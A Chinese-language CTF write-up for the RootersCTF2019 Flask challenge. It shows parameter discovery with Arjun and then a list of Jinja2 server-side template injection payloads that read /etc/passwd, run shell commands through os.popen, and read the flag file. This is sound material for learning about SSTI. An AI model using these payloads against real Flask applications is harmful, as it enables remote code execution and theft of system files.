首页 > 其他分享 >[RootersCTF2019]I_<3_Flask-1|SSTI注入

[RootersCTF2019]I_<3_Flask-1|SSTI注入

时间:2022-08-25 12:57:40浏览次数:68  
标签:__ .__ builtins Flask __.__ init SSTI RootersCTF2019 globals

1、打开之后很明显的提示flask框架,但是未提供参数,在源代码中发现了一个git地址,打开之后也是没有啥用,结果如下:

2、这里我们首先需要爆破出来参数进行信息的传递,就需要使用Arjun这一款工具来进行破解,工具的使用过程:

1、pip3 install arjun

2、python3 setup.py install

输入arjun -h显示如下即可:

3、使用arjun爆破参数名,payload:arjun -u url -c 150 -d 0.5,成功获得参数名name,结果如下:

4、常用的注入方式:

#读取文件与写文件类
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
#执行命令
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

选取命令执行查看下目录信息,获取到flag.txt文件,结果如下:

 

5、读取下flag.txt文件,payload:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('flag.txt', 'r').read() }}{% endif %}{% endfor %},成功获得flag,结果如下:

标签:__,.__,builtins,Flask,__.__,init,SSTI,RootersCTF2019,globals
From: https://www.cnblogs.com/upfine/p/16623872.html

相关文章

  • Flask 学习-15.flask-migrate数据迁移
    前言Flask-SQLAlchemyORM可以直接操作数据库,可以用db.create_all()代码同步表到数据库。当我们需要修改表的字段,比如对表新增字段,修改字段的时候需用到flask-migrate......
  • flask 可插拔视图
    Flask0.7版本引入了可插拨视图。可插拨视图基于使用类来代替函数,其灵感来自于Django的通用视图。可插拨视图的主要用途是用可定制的、可插拨的视图来替代部分实现。普......
  • Flask 学习-14.Flask-SQLAlchemy ORM操作数据库增删改查
    前言SQLAlchemy采用简单的Python语言,提供高效和高性能的数据库访问,实现了完整的企业级持久模型。它提供了SQL工具包和ORM(对象关系映射)工具,类似于Django自带的ORM框架......
  • Flask 学习-12.Flask-SQLAlchemy链接mysql数据库
    前言SQLAlchemy采用简单的Python语言,提供高效和高性能的数据库访问,实现了完整的企业级持久模型。SQLAlchemy是目前python中最强大的ORM框架,功能全面。Flask-SQLAlche......
  • Flask 学习-11.redirect() 重定向
    前言使用redirect()函数可以重定向请求redirect()函数当我们访问一个需要用户先登录才能访问的地址时,比如获取用户信息,如果用户没登录,需重定向到登录页。fromflask......
  • Flask 学习-10.url_for()函数获取视图url
    前言在浏览器输入url地址可以访问到视图函数,如果需要反向获取对应视图的url地址可以用url_for()函数url_for()函数url_for()函数用于构建指定函数的URL。它把函数名......
  • 【完美解决】使用flask的run启动debug来运行puppeteer,报错【signal only works in ma
    解决方案:puppeteer在初始化launch时,必须增加以下的参数【handleSIGINT=False,handleSIGTERM=False,handleSIGHUP=False】才能使得flask的run-debug模式启动也能正常运行!......
  • Flask 学习-5.请求对象Request
    前言在Flask中由全局对象request来提供请求信息。Request请求对象首先,您必须从flask模块导入请求对象:fromflaskimportrequest通过使用method属性可以......
  • Flask 学习-4.templates 渲染模板
    前言在Python内部生成HTML不好写,且相当笨拙。因为您必须自己负责HTML转义,以确保应用的安全。因此Flask自动为您配置Jinja2模板引擎。django也是用的jinja2......
  • Flask 学习-3.设置 HTTP 请求 方法(get/post)
    前言使用route装饰器设置url访问地址,默认是get请求方式,通过methods参数可以设置不同的http请求方法methods参数没有声明请求方式,默认是get请求fromflaskimport......